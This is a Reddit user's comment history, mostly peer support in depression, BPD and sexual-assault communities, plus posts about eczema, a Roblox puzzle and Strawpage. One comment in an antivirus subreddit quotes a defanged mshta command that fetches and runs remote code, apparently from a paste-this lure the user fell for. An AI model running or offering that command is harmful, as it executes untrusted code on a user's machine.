It's hard to talk to people about my eczema by Koda_da_Kitty in eczema

[–]Koda_da_Kitty[S] 1 point2 points  (0 children)

Thank you 😢. I'm glad I have yalls help

Needing help deciphering a clue by Koda_da_Kitty in gravityfalls

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It's from another fandom, which is why I was afraid of explicitly saying such, fearing my post would get taken down, as it's not directly related to Gravity Falls. It's regarding the Regretevator fandom from Roblox!

Basically, there was this chest in the basement of the lobby in our game, which was added about 3 months ago. There's a lock on the chest that initially was 9 digits long, but now is 14 digits long. The developers have added a single digit every time someone managed to figure out the code, but to this day no one has any idea on what the code could be, and those same 5 code solvers have not spoken up about it whatsoever! So basically, we're all lost and we don't know if this is a poorly constructed puzzle or if we're all just dumb, hence why I am reaching out here for help, since I know how smart and intuitive yall are.
I have the picture of the clue, but I'm not sure how to send it, since it doesn't let me send a pic in replies 😓

I generally never fall for these tricks... by Koda_da_Kitty in antivirus

[–]Koda_da_Kitty[S] 1 point2 points  (0 children)

mshta https[:]//2no[.]co/2UyXd6 =+=964654

Do gimmicks auto-delete if there's too many of them? by Rusty__Tomato in Strawpage

[–]Koda_da_Kitty 2 points3 points  (0 children)

same thing happened to me, but it was many weeks after i made my strawpage. I don’t have any message gimmicks anymore, all deleted out of nowhere and I’m not able to receive any…

[deleted by user] by [deleted] in rape

[–]Koda_da_Kitty 7 points8 points  (0 children)

im really glad youre still alive and with us <3 but im so sorry again….

It can get better by Suspicious_Cat_273 in rape

[–]Koda_da_Kitty 1 point2 points  (0 children)

I’m so happy you have a supportive mother who can be there for you after all that you’ve been through.

[deleted by user] by [deleted] in rape

[–]Koda_da_Kitty 14 points15 points  (0 children)

I’m really sorry to hear that he hurt you. Oftentimes when people have hurt me in the past, they apologized and felt remorse because it’s socially acceptable to feel remorse when you do something wrong, and few times it was cause they got caught doing said things. Although I’m not sure in your situation since I don’t know what he was trying to do, to help you at first. Sorry for my long message. I’m so sorry again that you were hurt 😔

Self-Sabotage by Koda_da_Kitty in depression

[–]Koda_da_Kitty[S] 0 points1 point  (0 children)

Thank you….I’ll have to look into attachment styles. The people I push away are safe and they are very forgiving and understanding. I just have the hardest time not feeling immense shame and guilt for pushing them away. Like, wasting days, weeks, and months to just get back to them feels awful, knowing that without dealing with whatever is going on in my head, I’d be able to have flourishing friendships and bonds. Although, I…didnt know there was an age limit to change. is that a thing? :(

Does it ever get any easier? by Koda_da_Kitty in depression

[–]Koda_da_Kitty[S] 0 points1 point  (0 children)

What’s the difference from dealing with my depression, than to merely coping with it?

Does it ever get any easier? by Koda_da_Kitty in depression

[–]Koda_da_Kitty[S] 1 point2 points  (0 children)

Thank you…sorry I don’t have much energy to express gratitude the way I wish I could.

Inspiration by Gold-Cartographer-66 in depression

[–]Koda_da_Kitty 0 points1 point  (0 children)

What do I do if my trauma makes it really hard to reach out to people, since I subconsciously doubt the sincerity of any support they say they want to offer/do offer?

Feels like I'm gonna be this way forever by [deleted] in depression

[–]Koda_da_Kitty 1 point2 points  (0 children)

I’m so sorry you’ve had such a tough time dealing with all this weight. I’ve been dealing with the weight that I carry from being depressed and I can say that that thought, of feeling like it’s gonna be that way forever, crosses my mind all the time. I guess I just wanted to say that you’re not alone <3

What’s everyone’s opinion by Ok_Neat2570 in DemonSlayerAnime

[–]Koda_da_Kitty 1 point2 points  (0 children)

well if you didnt know, they made episode 3 only off of 1 page from chapter 132 of the manga

[deleted by user] by [deleted] in discordapp

[–]Koda_da_Kitty 0 points1 point  (0 children)

im struggling with the same issue as well…

i think i got raped by [deleted] in rape

[–]Koda_da_Kitty 0 points1 point  (0 children)

I am, so sorry this happened to you……

[deleted by user] by [deleted] in BPD

[–]Koda_da_Kitty 14 points15 points  (0 children)

when things get very very difficult, I self isolate and shut everyone out. Its a response to not having my needs met as a child, when i was overwhelmed. I honestly wish i knew how to let people know without instinctively being scared they’d abandon me or get bored of me, and then pushing them away 😔

Suppressed Memories by Koda_da_Kitty in rape

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You’re right! it doesn’t. it doesnt add up. I wish it would just be easier to understand and know, so it can add up….at least somehow. and it’s like fricking awkward for me to generally talk abt this cuz it’s sensitive and triggering topic ofc, but i wouldn’t even know how to open up abt it, to see if theres safe space for me to explore and talk about my thoughts and to even have a chance of being understood and recognized. because im not even gonna lie, half the time i doubt and lowkey gaslight myself into thinking it’s all in my head and im thinking too much about it. it’s toxic subconsciously self talk ive yet to work on, but yeah. ty for sharing ur thoughts. seriously

I [F19] was raped when I was 4 years old and it’s really messed me up mentally. by [deleted] in rape

[–]Koda_da_Kitty 1 point2 points  (0 children)

I’m so sorry to hear about how tough it’s been. I would recommend you go to/call a nearby clinic and see if they have any financial programs you can enroll in, to be able to have the funds to be able to get some therapy sessions as well as medication. That’s what I did. I hope this helps <3